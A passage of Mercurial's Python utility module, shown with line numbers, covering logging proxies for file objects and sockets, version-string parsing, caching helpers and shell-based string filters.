596 594 return object.__getattribute__(self, r'_observedcall')(
597 595 r'readline', *args, **kwargs)
598 596
599 597 def readlines(self, *args, **kwargs):
600 598 return object.__getattribute__(self, r'_observedcall')(
601 599 r'readlines', *args, **kwargs)
602 600
603 601 def seek(self, *args, **kwargs):
604 602 return object.__getattribute__(self, r'_observedcall')(
605 603 r'seek', *args, **kwargs)
606 604
607 605 def seekable(self, *args, **kwargs):
608 606 return object.__getattribute__(self, r'_observedcall')(
609 607 r'seekable', *args, **kwargs)
610 608
611 609 def tell(self, *args, **kwargs):
612 610 return object.__getattribute__(self, r'_observedcall')(
613 611 r'tell', *args, **kwargs)
614 612
615 613 def truncate(self, *args, **kwargs):
616 614 return object.__getattribute__(self, r'_observedcall')(
617 615 r'truncate', *args, **kwargs)
618 616
619 617 def writable(self, *args, **kwargs):
620 618 return object.__getattribute__(self, r'_observedcall')(
621 619 r'writable', *args, **kwargs)
622 620
623 621 def writelines(self, *args, **kwargs):
624 622 return object.__getattribute__(self, r'_observedcall')(
625 623 r'writelines', *args, **kwargs)
626 624
627 625 def read(self, *args, **kwargs):
628 626 return object.__getattribute__(self, r'_observedcall')(
629 627 r'read', *args, **kwargs)
630 628
631 629 def readall(self, *args, **kwargs):
632 630 return object.__getattribute__(self, r'_observedcall')(
633 631 r'readall', *args, **kwargs)
634 632
635 633 def readinto(self, *args, **kwargs):
636 634 return object.__getattribute__(self, r'_observedcall')(
637 635 r'readinto', *args, **kwargs)
638 636
639 637 def write(self, *args, **kwargs):
640 638 return object.__getattribute__(self, r'_observedcall')(
641 639 r'write', *args, **kwargs)
642 640
643 641 def detach(self, *args, **kwargs):
644 642 return object.__getattribute__(self, r'_observedcall')(
645 643 r'detach', *args, **kwargs)
646 644
647 645 def read1(self, *args, **kwargs):
648 646 return object.__getattribute__(self, r'_observedcall')(
649 647 r'read1', *args, **kwargs)
650 648
651 649 class observedbufferedinputpipe(bufferedinputpipe):
652 650 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
653 651
654 652 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
655 653 bypass ``fileobjectproxy``. Because of this, we need to make
656 654 ``bufferedinputpipe`` aware of these operations.
657 655
658 656 This variation of ``bufferedinputpipe`` can notify observers about
659 657 ``os.read()`` events. It also re-publishes other events, such as
660 658 ``read()`` and ``readline()``.
661 659 """
662 660 def _fillbuffer(self):
663 661 res = super(observedbufferedinputpipe, self)._fillbuffer()
664 662
665 663 fn = getattr(self._input._observer, r'osread', None)
666 664 if fn:
667 665 fn(res, _chunksize)
668 666
669 667 return res
670 668
671 669 # We use different observer methods because the operation isn't
672 670 # performed on the actual file object but on us.
673 671 def read(self, size):
674 672 res = super(observedbufferedinputpipe, self).read(size)
675 673
676 674 fn = getattr(self._input._observer, r'bufferedread', None)
677 675 if fn:
678 676 fn(res, size)
679 677
680 678 return res
681 679
682 680 def readline(self, *args, **kwargs):
683 681 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
684 682
685 683 fn = getattr(self._input._observer, r'bufferedreadline', None)
686 684 if fn:
687 685 fn(res)
688 686
689 687 return res
690 688
691 689 PROXIED_SOCKET_METHODS = {
692 690 r'makefile',
693 691 r'recv',
694 692 r'recvfrom',
695 693 r'recvfrom_into',
696 694 r'recv_into',
697 695 r'send',
698 696 r'sendall',
699 697 r'sendto',
700 698 r'setblocking',
701 699 r'settimeout',
702 700 r'gettimeout',
703 701 r'setsockopt',
704 702 }
705 703
706 704 class socketproxy(object):
707 705 """A proxy around a socket that tells a watcher when events occur.
708 706
709 707 This is like ``fileobjectproxy`` except for sockets.
710 708
711 709 This type is intended to only be used for testing purposes. Think hard
712 710 before using it in important code.
713 711 """
714 712 __slots__ = (
715 713 r'_orig',
716 714 r'_observer',
717 715 )
718 716
719 717 def __init__(self, sock, observer):
720 718 object.__setattr__(self, r'_orig', sock)
721 719 object.__setattr__(self, r'_observer', observer)
722 720
723 721 def __getattribute__(self, name):
724 722 if name in PROXIED_SOCKET_METHODS:
725 723 return object.__getattribute__(self, name)
726 724
727 725 return getattr(object.__getattribute__(self, r'_orig'), name)
728 726
729 727 def __delattr__(self, name):
730 728 return delattr(object.__getattribute__(self, r'_orig'), name)
731 729
732 730 def __setattr__(self, name, value):
733 731 return setattr(object.__getattribute__(self, r'_orig'), name, value)
734 732
735 733 def __nonzero__(self):
736 734 return bool(object.__getattribute__(self, r'_orig'))
737 735
738 736 __bool__ = __nonzero__
739 737
740 738 def _observedcall(self, name, *args, **kwargs):
741 739 # Call the original object.
742 740 orig = object.__getattribute__(self, r'_orig')
743 741 res = getattr(orig, name)(*args, **kwargs)
744 742
745 743 # Call a method on the observer of the same name with arguments
746 744 # so it can react, log, etc.
747 745 observer = object.__getattribute__(self, r'_observer')
748 746 fn = getattr(observer, name, None)
749 747 if fn:
750 748 fn(res, *args, **kwargs)
751 749
752 750 return res
753 751
754 752 def makefile(self, *args, **kwargs):
755 753 res = object.__getattribute__(self, r'_observedcall')(
756 754 r'makefile', *args, **kwargs)
757 755
758 756 # The file object may be used for I/O. So we turn it into a
759 757 # proxy using our observer.
760 758 observer = object.__getattribute__(self, r'_observer')
761 759 return makeloggingfileobject(observer.fh, res, observer.name,
762 760 reads=observer.reads,
763 761 writes=observer.writes,
764 762 logdata=observer.logdata,
765 763 logdataapis=observer.logdataapis)
766 764
767 765 def recv(self, *args, **kwargs):
768 766 return object.__getattribute__(self, r'_observedcall')(
769 767 r'recv', *args, **kwargs)
770 768
771 769 def recvfrom(self, *args, **kwargs):
772 770 return object.__getattribute__(self, r'_observedcall')(
773 771 r'recvfrom', *args, **kwargs)
774 772
775 773 def recvfrom_into(self, *args, **kwargs):
776 774 return object.__getattribute__(self, r'_observedcall')(
777 775 r'recvfrom_into', *args, **kwargs)
778 776
779 777 def recv_into(self, *args, **kwargs):
780 778 return object.__getattribute__(self, r'_observedcall')(
781 779 r'recv_info', *args, **kwargs)
782 780
783 781 def send(self, *args, **kwargs):
784 782 return object.__getattribute__(self, r'_observedcall')(
785 783 r'send', *args, **kwargs)
786 784
787 785 def sendall(self, *args, **kwargs):
788 786 return object.__getattribute__(self, r'_observedcall')(
789 787 r'sendall', *args, **kwargs)
790 788
791 789 def sendto(self, *args, **kwargs):
792 790 return object.__getattribute__(self, r'_observedcall')(
793 791 r'sendto', *args, **kwargs)
794 792
795 793 def setblocking(self, *args, **kwargs):
796 794 return object.__getattribute__(self, r'_observedcall')(
797 795 r'setblocking', *args, **kwargs)
798 796
799 797 def settimeout(self, *args, **kwargs):
800 798 return object.__getattribute__(self, r'_observedcall')(
801 799 r'settimeout', *args, **kwargs)
802 800
803 801 def gettimeout(self, *args, **kwargs):
804 802 return object.__getattribute__(self, r'_observedcall')(
805 803 r'gettimeout', *args, **kwargs)
806 804
807 805 def setsockopt(self, *args, **kwargs):
808 806 return object.__getattribute__(self, r'_observedcall')(
809 807 r'setsockopt', *args, **kwargs)
810 808
811 809 class baseproxyobserver(object):
812 810 def _writedata(self, data):
813 811 if not self.logdata:
814 812 if self.logdataapis:
815 813 self.fh.write('\n')
816 814 self.fh.flush()
817 815 return
818 816
819 817 # Simple case writes all data on a single line.
820 818 if b'\n' not in data:
821 819 if self.logdataapis:
822 820 self.fh.write(': %s\n' % stringutil.escapedata(data))
823 821 else:
824 822 self.fh.write('%s> %s\n'
825 823 % (self.name, stringutil.escapedata(data)))
826 824 self.fh.flush()
827 825 return
828 826
829 827 # Data with newlines is written to multiple lines.
830 828 if self.logdataapis:
831 829 self.fh.write(':\n')
832 830
833 831 lines = data.splitlines(True)
834 832 for line in lines:
835 833 self.fh.write('%s> %s\n'
836 834 % (self.name, stringutil.escapedata(line)))
837 835 self.fh.flush()
838 836
839 837 class fileobjectobserver(baseproxyobserver):
840 838 """Logs file object activity."""
841 839 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
842 840 logdataapis=True):
843 841 self.fh = fh
844 842 self.name = name
845 843 self.logdata = logdata
846 844 self.logdataapis = logdataapis
847 845 self.reads = reads
848 846 self.writes = writes
849 847
850 848 def read(self, res, size=-1):
851 849 if not self.reads:
852 850 return
853 851 # Python 3 can return None from reads at EOF instead of empty strings.
854 852 if res is None:
855 853 res = ''
856 854
857 855 if self.logdataapis:
858 856 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
859 857
860 858 self._writedata(res)
861 859
862 860 def readline(self, res, limit=-1):
863 861 if not self.reads:
864 862 return
865 863
866 864 if self.logdataapis:
867 865 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
868 866
869 867 self._writedata(res)
870 868
871 869 def readinto(self, res, dest):
872 870 if not self.reads:
873 871 return
874 872
875 873 if self.logdataapis:
876 874 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
877 875 res))
878 876
879 877 data = dest[0:res] if res is not None else b''
880 878 self._writedata(data)
881 879
882 880 def write(self, res, data):
883 881 if not self.writes:
884 882 return
885 883
886 884 # Python 2 returns None from some write() calls. Python 3 (reasonably)
887 885 # returns the integer bytes written.
888 886 if res is None and data:
889 887 res = len(data)
890 888
891 889 if self.logdataapis:
892 890 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
893 891
894 892 self._writedata(data)
895 893
896 894 def flush(self, res):
897 895 if not self.writes:
898 896 return
899 897
900 898 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
901 899
902 900 # For observedbufferedinputpipe.
903 901 def bufferedread(self, res, size):
904 902 if not self.reads:
905 903 return
906 904
907 905 if self.logdataapis:
908 906 self.fh.write('%s> bufferedread(%d) -> %d' % (
909 907 self.name, size, len(res)))
910 908
911 909 self._writedata(res)
912 910
913 911 def bufferedreadline(self, res):
914 912 if not self.reads:
915 913 return
916 914
917 915 if self.logdataapis:
918 916 self.fh.write('%s> bufferedreadline() -> %d' % (
919 917 self.name, len(res)))
920 918
921 919 self._writedata(res)
922 920
923 921 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
924 922 logdata=False, logdataapis=True):
925 923 """Turn a file object into a logging file object."""
926 924
927 925 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
928 926 logdata=logdata, logdataapis=logdataapis)
929 927 return fileobjectproxy(fh, observer)
930 928
931 929 class socketobserver(baseproxyobserver):
932 930 """Logs socket activity."""
933 931 def __init__(self, fh, name, reads=True, writes=True, states=True,
934 932 logdata=False, logdataapis=True):
935 933 self.fh = fh
936 934 self.name = name
937 935 self.reads = reads
938 936 self.writes = writes
939 937 self.states = states
940 938 self.logdata = logdata
941 939 self.logdataapis = logdataapis
942 940
943 941 def makefile(self, res, mode=None, bufsize=None):
944 942 if not self.states:
945 943 return
946 944
947 945 self.fh.write('%s> makefile(%r, %r)\n' % (
948 946 self.name, mode, bufsize))
949 947
950 948 def recv(self, res, size, flags=0):
951 949 if not self.reads:
952 950 return
953 951
954 952 if self.logdataapis:
955 953 self.fh.write('%s> recv(%d, %d) -> %d' % (
956 954 self.name, size, flags, len(res)))
957 955 self._writedata(res)
958 956
959 957 def recvfrom(self, res, size, flags=0):
960 958 if not self.reads:
961 959 return
962 960
963 961 if self.logdataapis:
964 962 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
965 963 self.name, size, flags, len(res[0])))
966 964
967 965 self._writedata(res[0])
968 966
969 967 def recvfrom_into(self, res, buf, size, flags=0):
970 968 if not self.reads:
971 969 return
972 970
973 971 if self.logdataapis:
974 972 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
975 973 self.name, size, flags, res[0]))
976 974
977 975 self._writedata(buf[0:res[0]])
978 976
979 977 def recv_into(self, res, buf, size=0, flags=0):
980 978 if not self.reads:
981 979 return
982 980
983 981 if self.logdataapis:
984 982 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
985 983 self.name, size, flags, res))
986 984
987 985 self._writedata(buf[0:res])
988 986
989 987 def send(self, res, data, flags=0):
990 988 if not self.writes:
991 989 return
992 990
993 991 self.fh.write('%s> send(%d, %d) -> %d' % (
994 992 self.name, len(data), flags, len(res)))
995 993 self._writedata(data)
996 994
997 995 def sendall(self, res, data, flags=0):
998 996 if not self.writes:
999 997 return
1000 998
1001 999 if self.logdataapis:
1002 1000 # Returns None on success. So don't bother reporting return value.
1003 1001 self.fh.write('%s> sendall(%d, %d)' % (
1004 1002 self.name, len(data), flags))
1005 1003
1006 1004 self._writedata(data)
1007 1005
1008 1006 def sendto(self, res, data, flagsoraddress, address=None):
1009 1007 if not self.writes:
1010 1008 return
1011 1009
1012 1010 if address:
1013 1011 flags = flagsoraddress
1014 1012 else:
1015 1013 flags = 0
1016 1014
1017 1015 if self.logdataapis:
1018 1016 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
1019 1017 self.name, len(data), flags, address, res))
1020 1018
1021 1019 self._writedata(data)
1022 1020
1023 1021 def setblocking(self, res, flag):
1024 1022 if not self.states:
1025 1023 return
1026 1024
1027 1025 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
1028 1026
1029 1027 def settimeout(self, res, value):
1030 1028 if not self.states:
1031 1029 return
1032 1030
1033 1031 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
1034 1032
1035 1033 def gettimeout(self, res):
1036 1034 if not self.states:
1037 1035 return
1038 1036
1039 1037 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
1040 1038
1041 1039 def setsockopt(self, level, optname, value):
1042 1040 if not self.states:
1043 1041 return
1044 1042
1045 1043 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
1046 1044 self.name, level, optname, value))
1047 1045
1048 1046 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
1049 1047 logdata=False, logdataapis=True):
1050 1048 """Turn a socket into a logging socket."""
1051 1049
1052 1050 observer = socketobserver(logh, name, reads=reads, writes=writes,
1053 1051 states=states, logdata=logdata,
1054 1052 logdataapis=logdataapis)
1055 1053 return socketproxy(fh, observer)
1056 1054
1057 1055 def version():
1058 1056 """Return version information if available."""
1059 1057 try:
1060 1058 from . import __version__
1061 1059 return __version__.version
1062 1060 except ImportError:
1063 1061 return 'unknown'
1064 1062
1065 1063 def versiontuple(v=None, n=4):
1066 1064 """Parses a Mercurial version string into an N-tuple.
1067 1065
1068 1066 The version string to be parsed is specified with the ``v`` argument.
1069 1067 If it isn't defined, the current Mercurial version string will be parsed.
1070 1068
1071 1069 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1072 1070 returned values:
1073 1071
1074 1072 >>> v = b'3.6.1+190-df9b73d2d444'
1075 1073 >>> versiontuple(v, 2)
1076 1074 (3, 6)
1077 1075 >>> versiontuple(v, 3)
1078 1076 (3, 6, 1)
1079 1077 >>> versiontuple(v, 4)
1080 1078 (3, 6, 1, '190-df9b73d2d444')
1081 1079
1082 1080 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1083 1081 (3, 6, 1, '190-df9b73d2d444+20151118')
1084 1082
1085 1083 >>> v = b'3.6'
1086 1084 >>> versiontuple(v, 2)
1087 1085 (3, 6)
1088 1086 >>> versiontuple(v, 3)
1089 1087 (3, 6, None)
1090 1088 >>> versiontuple(v, 4)
1091 1089 (3, 6, None, None)
1092 1090
1093 1091 >>> v = b'3.9-rc'
1094 1092 >>> versiontuple(v, 2)
1095 1093 (3, 9)
1096 1094 >>> versiontuple(v, 3)
1097 1095 (3, 9, None)
1098 1096 >>> versiontuple(v, 4)
1099 1097 (3, 9, None, 'rc')
1100 1098
1101 1099 >>> v = b'3.9-rc+2-02a8fea4289b'
1102 1100 >>> versiontuple(v, 2)
1103 1101 (3, 9)
1104 1102 >>> versiontuple(v, 3)
1105 1103 (3, 9, None)
1106 1104 >>> versiontuple(v, 4)
1107 1105 (3, 9, None, 'rc+2-02a8fea4289b')
1108 1106 """
1109 1107 if not v:
1110 1108 v = version()
1111 1109 parts = remod.split('[\+-]', v, 1)
1112 1110 if len(parts) == 1:
1113 1111 vparts, extra = parts[0], None
1114 1112 else:
1115 1113 vparts, extra = parts
1116 1114
1117 1115 vints = []
1118 1116 for i in vparts.split('.'):
1119 1117 try:
1120 1118 vints.append(int(i))
1121 1119 except ValueError:
1122 1120 break
1123 1121 # (3, 6) -> (3, 6, None)
1124 1122 while len(vints) < 3:
1125 1123 vints.append(None)
1126 1124
1127 1125 if n == 2:
1128 1126 return (vints[0], vints[1])
1129 1127 if n == 3:
1130 1128 return (vints[0], vints[1], vints[2])
1131 1129 if n == 4:
1132 1130 return (vints[0], vints[1], vints[2], extra)
1133 1131
1134 1132 def cachefunc(func):
1135 1133 '''cache the result of function calls'''
1136 1134 # XXX doesn't handle keywords args
1137 1135 if func.__code__.co_argcount == 0:
1138 1136 cache = []
1139 1137 def f():
1140 1138 if len(cache) == 0:
1141 1139 cache.append(func())
1142 1140 return cache[0]
1143 1141 return f
1144 1142 cache = {}
1145 1143 if func.__code__.co_argcount == 1:
1146 1144 # we gain a small amount of time because
1147 1145 # we don't need to pack/unpack the list
1148 1146 def f(arg):
1149 1147 if arg not in cache:
1150 1148 cache[arg] = func(arg)
1151 1149 return cache[arg]
1152 1150 else:
1153 1151 def f(*args):
1154 1152 if args not in cache:
1155 1153 cache[args] = func(*args)
1156 1154 return cache[args]
1157 1155
1158 1156 return f
1159 1157
1160 1158 class cow(object):
1161 1159 """helper class to make copy-on-write easier
1162 1160
1163 1161 Call preparewrite before doing any writes.
1164 1162 """
1165 1163
1166 1164 def preparewrite(self):
1167 1165 """call this before writes, return self or a copied new object"""
1168 1166 if getattr(self, '_copied', 0):
1169 1167 self._copied -= 1
1170 1168 return self.__class__(self)
1171 1169 return self
1172 1170
1173 1171 def copy(self):
1174 1172 """always do a cheap copy"""
1175 1173 self._copied = getattr(self, '_copied', 0) + 1
1176 1174 return self
1177 1175
1178 1176 class sortdict(collections.OrderedDict):
1179 1177 '''a simple sorted dictionary
1180 1178
1181 1179 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1182 1180 >>> d2 = d1.copy()
1183 1181 >>> d2
1184 1182 sortdict([('a', 0), ('b', 1)])
1185 1183 >>> d2.update([(b'a', 2)])
1186 1184 >>> list(d2.keys()) # should still be in last-set order
1187 1185 ['b', 'a']
1188 1186 '''
1189 1187
1190 1188 def __setitem__(self, key, value):
1191 1189 if key in self:
1192 1190 del self[key]
1193 1191 super(sortdict, self).__setitem__(key, value)
1194 1192
1195 1193 if pycompat.ispypy:
1196 1194 # __setitem__() isn't called as of PyPy 5.8.0
1197 1195 def update(self, src):
1198 1196 if isinstance(src, dict):
1199 1197 src = src.iteritems()
1200 1198 for k, v in src:
1201 1199 self[k] = v
1202 1200
1203 1201 class cowdict(cow, dict):
1204 1202 """copy-on-write dict
1205 1203
1206 1204 Be sure to call d = d.preparewrite() before writing to d.
1207 1205
1208 1206 >>> a = cowdict()
1209 1207 >>> a is a.preparewrite()
1210 1208 True
1211 1209 >>> b = a.copy()
1212 1210 >>> b is a
1213 1211 True
1214 1212 >>> c = b.copy()
1215 1213 >>> c is a
1216 1214 True
1217 1215 >>> a = a.preparewrite()
1218 1216 >>> b is a
1219 1217 False
1220 1218 >>> a is a.preparewrite()
1221 1219 True
1222 1220 >>> c = c.preparewrite()
1223 1221 >>> b is c
1224 1222 False
1225 1223 >>> b is b.preparewrite()
1226 1224 True
1227 1225 """
1228 1226
1229 1227 class cowsortdict(cow, sortdict):
1230 1228 """copy-on-write sortdict
1231 1229
1232 1230 Be sure to call d = d.preparewrite() before writing to d.
1233 1231 """
1234 1232
1235 1233 class transactional(object):
1236 1234 """Base class for making a transactional type into a context manager."""
1237 1235 __metaclass__ = abc.ABCMeta
1238 1236
1239 1237 @abc.abstractmethod
1240 1238 def close(self):
1241 1239 """Successfully closes the transaction."""
1242 1240
1243 1241 @abc.abstractmethod
1244 1242 def release(self):
1245 1243 """Marks the end of the transaction.
1246 1244
1247 1245 If the transaction has not been closed, it will be aborted.
1248 1246 """
1249 1247
1250 1248 def __enter__(self):
1251 1249 return self
1252 1250
1253 1251 def __exit__(self, exc_type, exc_val, exc_tb):
1254 1252 try:
1255 1253 if exc_type is None:
1256 1254 self.close()
1257 1255 finally:
1258 1256 self.release()
1259 1257
1260 1258 @contextlib.contextmanager
1261 1259 def acceptintervention(tr=None):
1262 1260 """A context manager that closes the transaction on InterventionRequired
1263 1261
1264 1262 If no transaction was provided, this simply runs the body and returns
1265 1263 """
1266 1264 if not tr:
1267 1265 yield
1268 1266 return
1269 1267 try:
1270 1268 yield
1271 1269 tr.close()
1272 1270 except error.InterventionRequired:
1273 1271 tr.close()
1274 1272 raise
1275 1273 finally:
1276 1274 tr.release()
1277 1275
1278 1276 @contextlib.contextmanager
1279 1277 def nullcontextmanager():
1280 1278 yield
1281 1279
1282 1280 class _lrucachenode(object):
1283 1281 """A node in a doubly linked list.
1284 1282
1285 1283 Holds a reference to nodes on either side as well as a key-value
1286 1284 pair for the dictionary entry.
1287 1285 """
1288 1286 __slots__ = (u'next', u'prev', u'key', u'value')
1289 1287
1290 1288 def __init__(self):
1291 1289 self.next = None
1292 1290 self.prev = None
1293 1291
1294 1292 self.key = _notset
1295 1293 self.value = None
1296 1294
1297 1295 def markempty(self):
1298 1296 """Mark the node as emptied."""
1299 1297 self.key = _notset
1300 1298
1301 1299 class lrucachedict(object):
1302 1300 """Dict that caches most recent accesses and sets.
1303 1301
1304 1302 The dict consists of an actual backing dict - indexed by original
1305 1303 key - and a doubly linked circular list defining the order of entries in
1306 1304 the cache.
1307 1305
1308 1306 The head node is the newest entry in the cache. If the cache is full,
1309 1307 we recycle head.prev and make it the new head. Cache accesses result in
1310 1308 the node being moved to before the existing head and being marked as the
1311 1309 new head node.
1312 1310 """
1313 1311 def __init__(self, max):
1314 1312 self._cache = {}
1315 1313
1316 1314 self._head = head = _lrucachenode()
1317 1315 head.prev = head
1318 1316 head.next = head
1319 1317 self._size = 1
1320 1318 self._capacity = max
1321 1319
1322 1320 def __len__(self):
1323 1321 return len(self._cache)
1324 1322
1325 1323 def __contains__(self, k):
1326 1324 return k in self._cache
1327 1325
1328 1326 def __iter__(self):
1329 1327 # We don't have to iterate in cache order, but why not.
1330 1328 n = self._head
1331 1329 for i in range(len(self._cache)):
1332 1330 yield n.key
1333 1331 n = n.next
1334 1332
1335 1333 def __getitem__(self, k):
1336 1334 node = self._cache[k]
1337 1335 self._movetohead(node)
1338 1336 return node.value
1339 1337
1340 1338 def __setitem__(self, k, v):
1341 1339 node = self._cache.get(k)
1342 1340 # Replace existing value and mark as newest.
1343 1341 if node is not None:
1344 1342 node.value = v
1345 1343 self._movetohead(node)
1346 1344 return
1347 1345
1348 1346 if self._size < self._capacity:
1349 1347 node = self._addcapacity()
1350 1348 else:
1351 1349 # Grab the last/oldest item.
1352 1350 node = self._head.prev
1353 1351
1354 1352 # At capacity. Kill the old entry.
1355 1353 if node.key is not _notset:
1356 1354 del self._cache[node.key]
1357 1355
1358 1356 node.key = k
1359 1357 node.value = v
1360 1358 self._cache[k] = node
1361 1359 # And mark it as newest entry. No need to adjust order since it
1362 1360 # is already self._head.prev.
1363 1361 self._head = node
1364 1362
1365 1363 def __delitem__(self, k):
1366 1364 node = self._cache.pop(k)
1367 1365 node.markempty()
1368 1366
1369 1367 # Temporarily mark as newest item before re-adjusting head to make
1370 1368 # this node the oldest item.
1371 1369 self._movetohead(node)
1372 1370 self._head = node.next
1373 1371
1374 1372 # Additional dict methods.
1375 1373
1376 1374 def get(self, k, default=None):
1377 1375 try:
1378 1376 return self._cache[k].value
1379 1377 except KeyError:
1380 1378 return default
1381 1379
1382 1380 def clear(self):
1383 1381 n = self._head
1384 1382 while n.key is not _notset:
1385 1383 n.markempty()
1386 1384 n = n.next
1387 1385
1388 1386 self._cache.clear()
1389 1387
1390 1388 def copy(self):
1391 1389 result = lrucachedict(self._capacity)
1392 1390 n = self._head.prev
1393 1391 # Iterate in oldest-to-newest order, so the copy has the right ordering
1394 1392 for i in range(len(self._cache)):
1395 1393 result[n.key] = n.value
1396 1394 n = n.prev
1397 1395 return result
1398 1396
1399 1397 def _movetohead(self, node):
1400 1398 """Mark a node as the newest, making it the new head.
1401 1399
1402 1400 When a node is accessed, it becomes the freshest entry in the LRU
1403 1401 list, which is denoted by self._head.
1404 1402
1405 1403 Visually, let's make ``N`` the new head node (* denotes head):
1406 1404
1407 1405 previous/oldest <-> head <-> next/next newest
1408 1406
1409 1407 ----<->--- A* ---<->-----
1410 1408 | |
1411 1409 E <-> D <-> N <-> C <-> B
1412 1410
1413 1411 To:
1414 1412
1415 1413 ----<->--- N* ---<->-----
1416 1414 | |
1417 1415 E <-> D <-> C <-> B <-> A
1418 1416
1419 1417 This requires the following moves:
1420 1418
1421 1419 C.next = D (node.prev.next = node.next)
1422 1420 D.prev = C (node.next.prev = node.prev)
1423 1421 E.next = N (head.prev.next = node)
1424 1422 N.prev = E (node.prev = head.prev)
1425 1423 N.next = A (node.next = head)
1426 1424 A.prev = N (head.prev = node)
1427 1425 """
1428 1426 head = self._head
1429 1427 # C.next = D
1430 1428 node.prev.next = node.next
1431 1429 # D.prev = C
1432 1430 node.next.prev = node.prev
1433 1431 # N.prev = E
1434 1432 node.prev = head.prev
1435 1433 # N.next = A
1436 1434 # It is tempting to do just "head" here, however if node is
1437 1435 # adjacent to head, this will do bad things.
1438 1436 node.next = head.prev.next
1439 1437 # E.next = N
1440 1438 node.next.prev = node
1441 1439 # A.prev = N
1442 1440 node.prev.next = node
1443 1441
1444 1442 self._head = node
1445 1443
1446 1444 def _addcapacity(self):
1447 1445 """Add a node to the circular linked list.
1448 1446
1449 1447 The new node is inserted before the head node.
1450 1448 """
1451 1449 head = self._head
1452 1450 node = _lrucachenode()
1453 1451 head.prev.next = node
1454 1452 node.prev = head.prev
1455 1453 node.next = head
1456 1454 head.prev = node
1457 1455 self._size += 1
1458 1456 return node
1459 1457
1460 1458 def lrucachefunc(func):
1461 1459 '''cache most recent results of function calls'''
1462 1460 cache = {}
1463 1461 order = collections.deque()
1464 1462 if func.__code__.co_argcount == 1:
1465 1463 def f(arg):
1466 1464 if arg not in cache:
1467 1465 if len(cache) > 20:
1468 1466 del cache[order.popleft()]
1469 1467 cache[arg] = func(arg)
1470 1468 else:
1471 1469 order.remove(arg)
1472 1470 order.append(arg)
1473 1471 return cache[arg]
1474 1472 else:
1475 1473 def f(*args):
1476 1474 if args not in cache:
1477 1475 if len(cache) > 20:
1478 1476 del cache[order.popleft()]
1479 1477 cache[args] = func(*args)
1480 1478 else:
1481 1479 order.remove(args)
1482 1480 order.append(args)
1483 1481 return cache[args]
1484 1482
1485 1483 return f
1486 1484
1487 1485 class propertycache(object):
1488 1486 def __init__(self, func):
1489 1487 self.func = func
1490 1488 self.name = func.__name__
1491 1489 def __get__(self, obj, type=None):
1492 1490 result = self.func(obj)
1493 1491 self.cachevalue(obj, result)
1494 1492 return result
1495 1493
1496 1494 def cachevalue(self, obj, value):
1497 1495 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1498 1496 obj.__dict__[self.name] = value
1499 1497
1500 1498 def clearcachedproperty(obj, prop):
1501 1499 '''clear a cached property value, if one has been set'''
1502 1500 if prop in obj.__dict__:
1503 1501 del obj.__dict__[prop]
1504 1502
1505 1503 def pipefilter(s, cmd):
1506 1504 '''filter string S through command CMD, returning its output'''
1507 1505 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1508 1506 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
1509 1507 pout, perr = p.communicate(s)
1510 1508 return pout
1511 1509
1512 1510 def tempfilter(s, cmd):
1513 1511 '''filter string S through a pair of temporary files with CMD.
1514 1512 CMD is used as a template to create the real command to be run,
1515 1513 with the strings INFILE and OUTFILE replaced by the real names of
1516 1514 the temporary files generated.'''
1517 1515 inname, outname = None, None
1518 1516 try:
1519 1517 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
1520 1518 fp = os.fdopen(infd, r'wb')
1521 1519 fp.write(s)
1522 1520 fp.close()
1523 1521 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
1524 1522 os.close(outfd)
1525 1523 cmd = cmd.replace('INFILE', inname)
1526 1524 cmd = cmd.replace('OUTFILE', outname)
1527 1525 code = os.system(cmd)
1528 1526 if pycompat.sysplatform == 'OpenVMS' and code & 1:
1529 1527 code = 0
1530 1528 if code:
1531 1529 raise error.Abort(_("command '%s' failed: %s") %
1532 1530 (cmd, explainexit(code)))
1533 1531 return readfile(outname)
1534 1532 finally:
1535 1533 try:
1536 1534 if inname:
1537 1535 os.unlink(inname)
1538 1536 except OSError:
1539 1537 pass
1540 1538 try:
1541 1539 if outname:
1542 1540 os.unlink(outname)
1543 1541 except OSError:
1544 1542 pass
1545 1543
1546 1544 filtertable = {
1547 1545 'tempfile:': tempfilter,
1548 1546 'pipe:': pipefilter,
1549 1547 }
1550 1548
1551 1549 def filter(s, cmd):
1552 1550 "filter a string through a command that transforms its input to its output"
1553 1551 for name, fn in filtertable.iteritems():
1554 1552 if cmd.startswith(name):
1555 1553 return fn(s, cmd[len(name):].lstrip())
1556 1554 return pipefilter(s, cmd)
1557 1555
1558 1556 def increasingchunks(source, min=1024, max=65536):
1559 1557 '''return no less than min bytes per chunk while data remains,
1560 1558 doubling min after each chunk until it reaches max'''
1561 1559 def log2(x):
1562 1560 if not x:
1563 1561 return 0
1564 1562 i = 0
1565 1563 while x:
1566 1564 x >>= 1
1567 1565 i += 1
1568 1566 return i - 1
1569 1567
1570 1568 buf = []
1571 1569 blen = 0
1572 1570 for chunk in source:
1573 1571 buf.append(chunk)
1574 1572 blen += len(chunk)
1575 1573 if blen >= min:
1576 1574 if min < max:
1577 1575 min = min << 1
1578 1576 nmin = 1 << log2(blen)
1579 1577 if nmin > min:
